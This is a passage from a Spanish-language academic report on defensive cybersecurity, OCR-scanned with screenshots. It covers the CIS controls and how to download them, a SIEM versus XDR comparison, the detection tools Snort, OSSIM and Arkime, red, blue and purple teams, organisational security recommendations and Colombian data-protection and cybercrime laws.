21 CIS. CIS critical security controls FAQ. CIS [Sitio web]. [Consultado el 26, marzo, 2024]. Disponible
en Internet: <https://www.cisecurity.org/controls/cis-controls-faq>.

R . The 18 CIS controls. CIS [Sitio web]. [Consultado el 26, marzo, 2024]. Disponible en
Internet: <https://www.cisecurity.org/controls/cis-controls-list>.
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Control CIS 5:

Control CIS 6:

Control CIS 7:

Control CIS 8:

Control CIS 9:

Control CIS 10

Control CIS 11:

Control CIS 12:

Control CIS 13:

Control CIS 14

Control CIS 15

Control CIS 16:

Control CIS 17:

Control CIS 18

Gestion de cuentas

Gestion del control de acceso

Gestion continua de vulnerabilidades

Gestion de registros de auditoria

Protecciones de correo electrénico y navegador web

. Defensas contra malware

Recuperacién de datos

Gestion de infraestructura de red

Monitoreo y defensa de la red

: Concientizacion sobre seguridad y capacitacion en habilidades

: Gestion de proveedores de servicios

Seguridad del software de aplicaciones

Gestion de respuesta a incidentes

: Pruebas de penetracion
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Dado que el equipo blue team, se encarga de la seguridad defensiva y de evaluar
las diferentes amenazas, los controles CIS, son de gran ayuda y es una herramienta
gque proporciona una serie de pasos para validar que tan asegurado esta nuestro
sistema, Los CIS también tienen unos controles especificos que nos ayuda
dependiendo la necesidad que se tenga, ahora veremos como podemos descargar

los controles, ya que son gratuitos.

En el paso 1, ubicamos la opcién para descargar

Figura 45. Paso 1

€ > C =5 cisecurity.org/controls B =

Effective March 21, 2024: New Third-Party Subprocessor Notice | Learn More

Internet Seturlty

CIS Hardened Images @  Support®™®  CIS WorkBench Sign In & _
Center for

COMPANY v SOLUTIONS v INSIGHTS v~ JOINCIS v

CIS Critical Security Controls

CIS Critical Security Controls

Follow our prioritized set of actions to protect your organization and datj

from cvber-attack vectors.

DOWNLOAD CIS CONTROLS V8 —>

Fuente: Propia
En el paso 2, nos solicita informacion basica, en donde la diligenciamos para

obtener el Pdf
Figura 46. Paso 2
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<« = c 23 learn.cisecurity.org/cis-controls-download?_gl=1*11e2dto*_ga*MTASMzAXODK50C4xNzAWMTUzMjkw*_ga_N70Z2MKMD7*MTcxMTUwWM.... B a

@ ais controls’
Download the CIS Critical Security Controls® v8

CIS Controls v8 was enhanced to keep up with evolving technology (modern systems and software),
evolving threats, and even the evolving workplace. First Name *

CIS Controls v8

The newest version of the Controls now includes cloud and mobile technologies. There's even a new ‘ ‘
CIS Control: Service Provider Management, that provides guidance on how enterprises can manage
their cloud services.

Last Name *

Download v8 Today!

Now avallable with Italian, Japanese, and Portuguese translations. Organization *

Loaking for another version? ‘ ‘

« Access v7.1 Email -
« Access v7 and V6.1 _

4 ‘1ennyhm4@hctma\\:am ‘
Sector *
Country *
Number of Employees Range *

How Did You Hear About Us? *

Fuente: Propia

En el paso 3 nos llega un correo que nos da un enlace

Figura 47. Paso 3

Your CIS Controls download is ready

5‘;} Traducir mensaje a: Espanol | Nunca traduzca de: Inglés
c CIS <learn@cisecurity.org>

Para: Usted

Not rendering correctly? View this emall as a web page here

/\ Center for

C I S Internet Security”

Thank you for your interest in the CIS Critical Security Controls® cybersecurity best
practices. Your download is ready! Click the button below to access the download
page

Download CIS Controls

Fuente: Propia

Cuando damos click en el link, nos lleva a la pagina y podremos descargar el PDF
con los controles, actualmente esta la V8 pero si uno quiere también puede
descargar la V7.1
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Figura 48. Paso 4

learn.cisecurity.org/control-download

@ CIS Controls’
Download the CIS Controls®
Not sure which version Is right for you? Most users start with the PDF format.

Version 8 « The latest version of the CIS Controls (released May 2021)

Excel

CIS Controls v8
Download PDF —» Download Excel —
Change Log: « What changed in version 8
Excel
v8 Change Log
Download Excel —»

v8 Translations: < Italian, Japanese, Persian, Portuguese, and Spanish

Fuente: Propia

21 DIFERENCIAS SIEM Y XDR

Tabla 5. Diferencias entre SIEM y XDR

SIEM

XDR

OBJETIVO

Gestion centralizada vy
de

correlaciona datos

analisis registros,
de
varias soluciones, para

realizar un analisis

posterior

Centra el uso de los datos
gue obtiene para mejorar
la

respuesta, ya que

identifica, investiga vy

toma las medidas
necesarias para resolver
los incidentes de manera

agil

COMPLEJIDAD
GESTION

DE de

abierta, debido al

Son naturaleza
gran

volumen de informacion,

Su arquitectura es mas
sencilla y tiene la gran

ventaja de reducir alertas
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producen gran cantidad

de alertas individuales, lo

importantes, ayudando a

priorizar las acciones a

gue lo hace un poco dificil | tomar.
de clasificar.
ALMACENAMIENTO DE | Sirven como almacén | Accede a datos de otras

DATOS

central y a largo plazo

fuentes, pero los
almacena

temporalmente.

CAPACIDAD
RESPUESTA

DE

Tienen alguna capacidad
de

proporciona datos a los

respuesta,

MSP y genera alertas que

son Utiles para la

identificacion de

amenazas.

Tiene la posibilidad de
apoyar y coordinar la
respuesta, en la misma

solucioén.

Fuente: ARNAL, Carlos. ¢ Cual es la diferencia entre XDR y SIEM? | WatchGuard
Technologies. WatchGuard | Network, Wi-Fi, Identity, and Endpoint Security
Solutions [Sitio web]. (8, mayo, 2023). [Consultado el 25, marzo, 2024]. Disponible

en Internet: <https://www.watchguard.com/es/wgrd-news/blog/cual-es-la-diferencia-

entre-xdr-y-siem>.
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22 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS CON
LICENCIA GPL

22.1 SNORT

Este es un sistema de prevencién de intrusiones IPS, utiliza una serie de reglas que
ayudan a la identificacion de actividades sospechosas sobre la red, logrando
encontrar paquetes que permitan el alertamiento para los usuarios. Esta

herramienta también puede ser (til para la depuracién de trafico de red?3.

Figura 49. Snort

Intrusion Detection System - Made By WhiteHatCyberus

Fuente: GITHUB. GitHub - WhiteHatCyberus/SNORT-GUI: SNORT GUI: Your very
own trusted blueteam forensic companion for SNORT IDS. OPTIMIZED, SECURE
AND ABSOLUTELY FREE! [imagen]. [Consultado el 26, marzo, 2024]. Disponible
en Internet: <https://github.com/WhiteHatCyberus/SNORT-GUI>.

22 SNORT. What is snort? https://www.snort.org/ [Sitio web]. [Consultado el 26, marzo, 2024].
Disponible en Internet: <https://www.snort.org/>.
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22.2 OSSIM

Siendo la abreviatura de (Sistema de gestion de la informacion de seguridad Open
Source), Es una herramienta de gestion de eventos y seguridad (SIEM), incluye la
normalizacion, recopilacion y la correlacion de eventos, esta plataforma tiene

muchas capacidades como:

Descubrimiento de activos
Evaluacion de vulnerabilidad
Deteccion de intrusiones
Monitoreo del comportamiento

Correlacion de eventos SIEM

Figura 50. Panel OSSIM

oveRview o

rcuTve N . . - 7

FICLRITY EVENTS: TOP 5 ALARNS SHAE TOP 10 EVENT CATRGOMES TOP OTX ACTIVITY I FOUR ENVIRONMENT

o
o
— .
| - sl
- L
LATEST MEW V3 LOGGER EVENTS - ST VAT ML TIPLE FVENTS AW FVENTS BT SANSORDATA SOURCE
| \ =
| \\ oo
J
=

Fuente: CARDONA, Herm. AlienVault OSSIM Guide [imagen]. [Consultado el 26,
marzo, 2024]. Disponible en Internet: <https://www.winmill.com/securing-your-work-

from-home-network/>.
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22.3 ARKIME

Es una herramienta que tiene visibilidad total de la red, por lo que facilita la
identificacion y solucion de problemas de la red y seguridad?*. Algunas de las

caracteristicas son:

o Se obtiene acceso a los datos, por lo que los grupos de seguridad tienen
visibilidad de la red y pueden responder de una manera mas agil e investigar de

manera global el incidente.
o Se puede implementar en varios sistemas en cllster.

o Los grupos de seguridad pueden responder, investigar, reconstruir y

confirmar las amenazas en la red y responder de una manera adecuada.

Figura 51. Pagina de conexiones

-

% Sessions SPView SPIGraph Connections Hunt Files Stats History Settings Users

=3

© Al (careful) Start | 1969/12/31 12:00:00 M M | End  2021/09/2313:06:45 W M | Bounding Last Packet i Auto

|

ez o [ e oee B oo 10

190.0.0.4 x P s FESHET
< -1 1A

@ tio2:1:4188:801

Fuente: ARKIME. Arkime. Arkime [Sitio web]. [Consultado el 26, marzo, 2024].

Disponible en Internet: <https://arkime.com/>.

24 ARKIME. Arkime. Arkime [Sitio web]. [Consultado el 26, marzo, 2024]. Disponible en Internet:
<https://arkime.com/>.
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23 APORTE EN LA CIBERSEGURIDAD DE LOS GRUPOS RED TEAM, BLUE
TEAM Y PURPLE TEAM

Son varios los beneficios que encontramos al tener en la organizacion funcionando
los tres grupos, estos dan mas seguridad a la infraestructura e informacioén, estos

son algunos puntos claves?:

o Cuando actua el grupo Red Team y el grupo Blue Team se puede lograr una
identificacién de vulnerabilidades, ya que el grupo red se encarga de descubrir la

debilidad, mientras el grupo blue realiza ejercicios de mitigacion.

o La colaboracién de los dos grupos permite una respuesta mas rapida y

efectiva frente a las amenazas que se puedan presentar.

o El grupo Red Team puede realizar evaluaciones continuas, lo que permite
robustecer la seguridad.

o Dado que el grupo Red esta en constante estudio de las nuevas técnicas de
ataque, el grupo Blue se beneficia y les permite estar mejor preparados.

o Se obtiene un ahorro en los costos, ya que los grupos al realizar de manera
proactiva la identificacion de vulnerabilidades, logran contener aquellas
vulnerabilidades que pueden llegar a costar bastante dinero si se efectla el ataque.

o La sinergia de los grupos hace que las organizaciones estén preparadas y
aseguren sus activos criticos.

o La implementacion de los grupos mejora la cultura en la seguridad, ya que
se vuelve una prioridad para todos los empleados.

%5 SANCHEZ RODRIGUEZ, Alfonso. Red team, blue team y purple team - dolbuck ciberseguridad.
Dolbuck - Empresa de Ciberseguridad en Sevilla [Sitio web]. (17, agosto, 2023). [Consultado el 3,
abril, 2024]. Disponible en Internet: <https://dolbuck.net/ciberseguridad/red-team-blue-team-purple-
team/#:~:text=Beneficios%20del%20Red%20Team,%20Blue%20Team%20y%20Purple%20Team,-
La%?20colaboracion%20es&amp;text=Mejora%20de%20la%20deteccion%20y,efectiva%20ante%2

Oincidentes%20de%20seguridad.>.
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24 RECOMENDACIONES DE SEGURIDAD

Las organizaciones deben enfocarse en invertir en seguridad, ya que si se llegara a
presentar un ataque que conlleve a la operacion critica, puede salir mas costoso
reparar el dafio, que la misma inversion que re realice en seguridad, aqui se

mencionan algunas recomendaciones?:

o Es importante invertir en seguridad, teniendo claros las amenazas a las que

puede estar expuesta la organizacion.

o Tener planes de contingencia para mantener a salvo la informacion.

o Tener medidas preventivas.

o Proteger la informacion y los activos mas importantes de la organizacion.

o Capacitaciones a los empleados, ya que son los principales focos de

ingenieria social.
o Se debe complementar las medidas preventivas, teniendo un monitoreo

constante del flujo de la informacion.

También es importante realizar unas validaciones previas antes de la elaboracion

de politicas e implementar las medidas de seguridad al interior de la organizacion?’:

26 KPMG. Ciberseguridad siete medidas basicas para proteger la empresa. KPMG Global [Sitio web].
[Consultado el 3, abril, 2024]. Disponible en Internet:
<https://assets.kpmg.com/content/dam/kpma/mx/pdf/2018/04/ciberseguridad-servicios.pdf>.

27 MINTIC. Guia para la implementacion de seguridad de la informaciéon en una MIPYME.
https://gobiernodigital.mintic.gov.co/ [Sitio web]. [Consultado el 3, abril, 2024]. Disponible en Internet:
<https://gobiernodigital.mintic.gov.co/692/articles-

150522 Guia_Sequridad_informacion_Mypimes.pdf>.
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Identificacién de los activos de la organizacién

Realizar un inventario de los activos, donde se debe tener en cuenta, el tipo de
activo, la descripcion, propietario, personas que lo utiliza, si existe custodio del

activo y la ubicacion.

Establecer las posibles vulnerabilidades a las que se ve expuesta la

organizacion

Dado que existen varias vulnerabilidades, se deben establecer las relacionadas
con temas naturales, fisicos, Software y Hardware, comunicaciones, humanas y

las que se puedan evidenciar en el entorno de la organizacion.
Clasificar las amenazas

Es importante tener presente que cuando ya se presenta la amenaza, es porque
esta se presento ya que existe una vulnerabilidad, las amenazas pueden generar

interrupcién, modificacion, generacion o intercepcion del sistema.
Evaluar los riesgos a los que esta expuesta la organizacion

Para ello se deben tener en cuenta los dos puntos anteriores, y asi poder realizar
la construccion de una metodologia para la valoracién de riesgo basado en un
adecuado SGSI.

25 LINK DEL VIDEO

https://drive.google.com/file/d/1H4hI8rkGUulI9MAamelgWJL1DPiJ1xJGV/view?us

p=drive_link
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CONCLUSIONES

Es importante conocer y tener claras las leyes que dan la proteccién a la informacion
y que regula el manejo de los datos de los usuarios, es por eso que en este informe
técnico, se analizo la ley 1273 de 2009, que sanciona aquellos delitos que van en
contra de los pilares de la seguridad de la informacion, en donde se tipifican 9
delitos, entre los cuales se encuentran: Acceso abusivo a un sistema informatico,
Obstaculizaciéon ilegitima de sistema informatico o red de telecomunicacion, e
Interceptacion de datos informaticos y La ley 1581 DE 2012, que tiene como objeto
el derecho constitucional que tiene toda persona a conocer, actualizar y modificar la

informacién que se encuentra relacionada en cualquier base de datos.

Se pudo establecer la importancia de tener dentro de las organizaciones, los
equipos red team y blue team, ya que estos realizan las acciones tanto de
prevencion como la deteccion de vulnerabilidades y asi se logra identificar aquellos
puntos en los que la organizacion esta débil, para fortalecer su seguridad y evitar

gue los riesgos se materialicen.

También es importante tener el personal capacitado y utilizar las herramientas
adecuadas para la deteccién de vulnerabilidades y a su vez aquellas herramientas
gue nos ayudaran a la proteccién, teniendo una buena comunicacién entre equipos
y de alli nace la importancia del grupo purple team, ya que ellos garantizan que se

comparta la informacion entre el equipo blue team y red team.

Por ultimo y lo mas importante de las organizaciones, es su personal, ya que es el
principal foco de los cibercriminales, por ello es importante siempre realizar
capacitaciones sobre ciberseguridad, y asi convertir a los empleados en la primera

linea de defensa.
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